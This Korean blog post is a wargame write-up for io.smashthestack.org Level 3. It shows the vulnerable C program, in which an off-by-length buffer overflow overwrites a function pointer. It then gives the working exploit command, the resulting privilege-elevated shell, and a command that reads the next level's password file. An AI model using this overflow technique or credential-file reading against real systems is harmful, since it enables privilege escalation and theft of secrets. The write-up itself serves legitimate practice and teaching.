io.smashthestack.org – Level 3

Level 3 문제 소스는 아래와 같다.
[code]#include <stdio.h>
#include <unistd.h>
#include <string.h>

int good(int addr) {
        printf("Address of hmm: %p\n", addr);
}

int hmm() {
        printf("Win.\n");
        execl("/bin/sh", "sh", NULL);
}

extern char environ;

int main(int argc, char argv) {

        int i, limit;

        for(i = 0; environ[i] != NULL; i++)
        memset(environ[i], 0x00, strlen(environ[i]));

        int (fptr)(int) = good;
        char buf[32];

        if(strlen(argv[1]) <= 40) limit = strlen(argv[1]);

        for(i = 0; i <= limit; i++) {
                buf[i] = argv[1][i];
                if(i < 36) buf[i] = 0x41;
        }

        int (hmmptr)(int) = hmm;

        (*fptr)((int)hmmptr);

        return 0;

}
[/code]

실행을 하면 hmm() 의 주소를 알려 준다. hmm() 를 실행을 하면 되는 것이다.
argv[1] 값이 40 이하일때 buf 에 덮어 쓰므로 buf를 오버플로우 시켜서 hmm() 함수로 흐름을 옮기면 될 것이다.

[code lang-sh]level3@io:/levels$ ./level03 python -c "print '\x7f\x84\x04\x08'*9" 
Segmentation fault
level3@io:/levels$ ./level03 python -c "print '\x7f\x84\x04\x08'*10"
Win.
sh-3.2$ id      
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1003(level3),1029(nosu)
sh-3.2$ cat /home/level4/.pass
iazki1ud
sh-3.2$
[/code]

댓글 남기기

이메일은 공개되지 않습니다. 필수 입력창은 * 로 표시되어 있습니다